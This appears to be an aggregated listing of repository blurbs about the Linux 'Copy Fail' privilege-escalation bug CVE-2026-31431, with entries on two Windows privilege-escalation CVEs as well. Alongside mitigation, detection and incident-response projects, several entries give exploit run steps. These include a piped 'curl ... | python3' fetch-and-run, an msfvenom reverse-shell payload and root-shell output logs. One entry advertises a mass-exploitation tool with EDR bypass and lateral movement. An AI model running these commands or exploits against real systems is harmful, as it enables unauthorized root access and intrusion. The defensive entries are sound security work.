CVE-2026-31431-Copy-Fail

CVE-2026-31431 —「Copy Fail」：Linux カーネル algifaead のローカル権限昇格 CISA KEV | CVSS 7.8 HIGH | Linux カーネル 4.14 〜 2026年初頭に影響（約9年間） 目次 1. エグゼクティブサマリー 2. リスク評価 3. 技術的詳細 4. 攻撃手法 — レッドチーム 5. 検知とインシデント対応 — ブルーチーム 6. パッチ適用と修復 7. ラボ環境 8. 参考情報 1. エグゼクティブサマリー CVE-2026-31431 は、通称 「Copy Fail」 と呼ばれる、Linux...

copy-fail

copy-fail CVE-2026-31431 的 PoC 使用方法： wget https://raw.githubusercontent.com/pedromizz/copy-fail/main/poc.py python3 poc.py $ id uid=0root pedromizz :...

copy-fail-CVE-2026-31431

Copy Fail CVE-2026-31431 - PoC 本仓库包含 Copy Fail CVE-2026-31431 漏洞的概念验证（PoC）。 ⚠️ 免责声明： 本项目仅用于教育和研究目的 。 请勿在您不拥有或未经许可测试的系统上使用。 🧪 使用方法 按照以下步骤运行 PoC： root@kitploit: 克隆仓库 git clone https://github.com/ravindercodes/copy-fail-CVE-2026-31431 进入项目目录 cd copy-fail-CVE-2026-31431 运行漏洞利用脚本 python3 copyfailexp.py...

CVE-2026-31431-copy-fail

Copy Fail ほとんどのLinux LPEはレースウィンドウやカーネル固有のオフセットを必要とします。 Copy Failは直線的なロジックの欠陥です — どちらも必要ありません。 同じ732バイトのPythonスクリプトが、2017年以降に出荷されたすべてのLinuxディストリビューションをroot化します。 クイック実行: curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user groups=1002user...

Mitigaciones

CVE-2026-31431（「Copy Fail」）の緩和策 LinuxシステムにおけるCVE-2026-31431の脆弱性（setuidバイナリの ページキャッシュ 破損によるローカル権限昇格）の検出および緩和のためのスクリプトとプレイブックのコレクション。 リポジトリの内容 cve-2026-31431-mitigator.sh : 監査およびホットパッチによる緩和（modprobe経由でのalgifaeadおよびauthencesnモジュールのブロック）を適用するための純粋なBashによる対話型スクリプト。Red...

copy-fail-CVE-2026-31431

CVE-2026-31431 Copy Fail エクスプロイト 著者: pyroceper テスト環境: Ubuntu 25.10 x8664 root@kitploit: $ make $ ./exploit Detected kernel: 6.17.0 Making backup of /etc/passwd to /tmp Backup saved as /tmp/passwd.bak Obtaining root shell... id uid=0pwn gid=0root groups=0root whoami pwn クレジットと参考文献: 脆弱性の最初の発見:...

CVE-2026-68820_Mass_Exploit

CVE-2026-68820 — 大规模漏洞利用框架版。 用于通过 AFD.sys 驱动程序（辅助功能驱动程序）中的释放后使用（use-after-free）漏洞，自动进行大规模本地权限提升（LPE）至 NT AUTHORITY\SYSTEM 的自动化模块。 该漏洞利用专为企业环境设计： 支持 Windows 10/11（所有 2025–2026 版本） 绕过 PPL 保护 即使在完全修补的系统上也能稳定运行 内置 EDR/AV 绕过，通过可信进程注入 和签名随机化实现 非常适合后渗透场景（Web Shell、钓鱼攻击），用于实现持久化和横向移动。 无需重启，执行时间不到 1 秒。...

CVE-2026-31431

🔐 CVE-2026-31431 - カーネルエクスプロイト研究フレームワーク Linuxにおける特権昇格（LPE）の脆弱性を、AFALG + Page Cache Injection の技術に基づいて研究するためのモジュール式フレームワーク。 🎯 目的 このプロジェクトは以下を目的として設計されています： Linuxカーネルの脆弱性研究 実際のエクスプロイト技術（LPE）の教育 管理されたサイバーセキュリティラボの実行 ⚙️ このプロジェクトは何をするのか？ このフレームワークは、以下を可能にする技術を実装しています： SUIDバイナリのメモリ内コンテンツ（ページキャッシュ ）の改変...

CVE-2026-31431

CopyFail CVE-2026-31431 概述 CopyFail 是 CVE-2026-31431 的概念验证漏洞利用程序，针对 Linux 内核加密 API（AFALG）中的内存损坏漏洞。该漏洞利用 splice 系统调用对 /usr/bin/su 二进制文件执行未经授权的页缓存修补，从而实现无需密码即可提权至 root。 技术分析 根本原因 该漏洞存在于 Linux 内核通过 splice 在 AFALG 套接字与其他文件描述符之间进行零拷贝数据传输时的处理逻辑中。由于 aead 实现中缺乏适当的同步或边界检查，加密引擎处理的数据可能被写回源文件的页缓存。 漏洞利用方法 1...

alg_check

⚠️ 重要免責事項: 構造的ハードニングのリスク このツールは、カーネルモジュールを物理的にリネームし、メモリからパージすることで CVE-2026-31431 を緩和する 構造的ブロッキング を実装しています。使用前に、以下のアーキテクチャ上のリスクを認識してください: カーネル更新による変動性 : ハードニングの効果は 一時的 です。カーネル更新により、新しい /lib/modules/ ディレクトリ配下に脆弱なモジュールが新規展開され、以前の妨害措置は無効になります。 機能的な副作用 :...

CVE-2026-31431

CVE-2026-31431（Copy Fail）— C PoC AFALG のロジックバグ（カーネル 4.14 → 2026年初頭）を利用して、任意の読み取り可能なファイルのページキャッシュに制御された4バイトを書き込むことで実現する、特権を必要としない単純なLPE。 メモリ内の /usr/bin/su を破壊してから実行する → root 取得。 ビルドと実行 root@kitploit: 1. ELFペイロードを生成（リバースシェルの例） msfvenom -p linux/x86/shellreversetcp LHOST= LPORT= PrependSetuid=true ...

CVE-2026-21250

CVE-2026-21250: Windows HTTP.sys ローカル権限昇格 Windows 11 24H2 - ローカル権限昇格 🚨 CVE-2026-21250 脆弱性に関する技術分析とリソース Windows 11 24H2 / 25H2 - Windows Server 2022/2025 このリポジトリには、Windows の HTTP.sys ドライバにおける信頼できないポインタの逆参照の欠陥によりローカル権限昇格（LPE）を可能にする脆弱性 CVE-2026-21250 の研究のための技術文書とリソースが含まれています。 📝 説明...

CVE-2026-31431-python-copyfail-POC

CVE-2026-31431: Copy Fail - Linuxカーネル権限昇格 Copy Fail （CVE-2026-31431）は、Linuxカーネルの暗号サブシステムにおける重大な論理バグであり、非特権ユーザーがrootへの権限昇格を達成することを可能にします。この脆弱性は、Linuxカーネル6.0.0から6.18.xまでの全主要ディストリビューションに影響を与えます。 このリポジトリには、setuidバイナリのページキャッシュを破壊し、root権限で任意のコードを実行することで脆弱性を発動させる実際のエクスプロイトが含まれています。 Copy Failとは？ Copy...

cve-2026-31431-copy-fail

CVE-2026-31431「Copy Fail」スキャナー＆パッチヘルパー Copy Fail は、LinuxインフラストラクチャにおけるCVE-2026-31431（Linux Kernel algifaead ローカル権限昇格）の脆弱性を検出・修正するための自動セキュリティスキャナー兼パッチヘルパーです。 目次 説明 主な機能 要件 インストール 使用方法 コマンドオプション 使用例 出力と結果 対応ディストリビューション 手動パッチガイド 一時的な緩和策 トラブルシューティング...

CVE-2026-31431

CopyFail2 CVE-2026-31431 - Python実装 xfrm ESP-in-UDP MSGSPLICEPAGES no-COW 高速パスを利用したCopyFail2カーネルエクスプロイトのPython移植版。非特権Linuxユーザーによるローカル権限昇格を実現します。 /etc/passwd 内の nologin/false エントリをパスワードなしのuid-0ユーザーに置き換え、su 経由でrootシェルに移行します。 脆弱性 このカーネルバグは、xfrm ESP-in-UDPカプセル化で使用されるUDPスプライスパスに存在します。MSGSPLICEPAGES...

XCP_ng_CVE-2026-31431_tester

CVE-2026-31431「Copy Fail」— XCP-ng ラボラトリ検出器 CVE-2026-31431（「Copy Fail」）向けの安全で非破壊的な検出スクリプトです。XCP-ng 8.3 LTS （2026年5月5日のセキュリティ更新前）で検証済みです。 ⚠️ 許可された用途のみ。 このスクリプトは、所有しているシステム、または明示的にテストを許可されたシステムでのみ実行してください。 背景 CVE-2026-31431（通称「Copy...

copy-fail-CVE-2026-31431-poc

CVE-2026-31431 — Copy Fail 概念验证 本仓库包含针对 CVE-2026-31431 的概念验证（PoC）漏洞利用代码，这是一个高严重性的 Linux 内核本地权限提升漏洞，允许任何无特权的本地用户获得 root 访问权限。该漏洞被命名为“Copy Fail”，位于 algifaead 模块中，可与 AFALG 套接字接口和 splice 系统调用链式利用，从而对任何可读文件（例如 setuid 二进制文件 /usr/bin/su）的页缓存执行受控的 4 字节写入。 该漏洞影响自 2017 年以来发布的几乎所有 Linux...

cve-2026-31431

CVE-2026-31431 "Copy Fail" — IR 手册与检测包 面向 CVE-2026-31431 的生产级 IR 手册、检测规则与 SOC 分流指南——这是 Linux 内核 algifaead 加密接口中的一个本地权限提升漏洞。包含交互式 HTML 手册 、Sigma 规则、auditd 配置、Falco 容器规则、Wazuh 关联规则、YARA 签名、eBPF 实时监控器，以及覆盖 Splunk、Sentinel KQL、Elastic EQL 和 QRadar AQL 的 SIEM 狩猎查询。 不含任何利用代码——纯防御性内容，面向 SOC 分析师与检测工程师。 作...

CVE-2026-31431-mitigacion

CVE-2026-31431 — 完整技术分析 分类： 本地权限提升（LPE）— Linux 内核 CVSS： 7.8（高危） 影响： 无特权用户 → root 受影响模块： algifaead（内核 AFALG 子系统） 目录 1. 为什么存在漏洞？ 2. 哪些版本受影响？ 3. 如何利用 4. 如何缓解 1. 为什么存在漏洞？ AFALG 子系统 Linux 内核向用户空间暴露了一个名为 AFALG （AFALG 套接字族）的加密接口。该接口允许无特权进程使用内核的加密加速器——加密、哈希、密钥生成——而无需 root 权限。 其中一个模块是 algifaead ，它实现了 AEAD...

cve-2026-31431-ansible

CVE-2026-31431（「Copy Fail」）— Ansible 緩和策レシピ CVE-2026-31431 （「Copy Fail」）に対するカーネルコマンドラインの緩和策を、Ansible を使用して Debian / Ubuntu / RHEL 系のフリート全体で検出・適用します。 この CVE は、Linux カーネルの algifaead AFALG インターフェースにおけるローカル権限昇格の脆弱性です。www-data、mysql などのサービスアカウントや、RCE された Web アプリ内のプロセスを含む、権限のないローカルユーザーは、わずか数回の syscall ...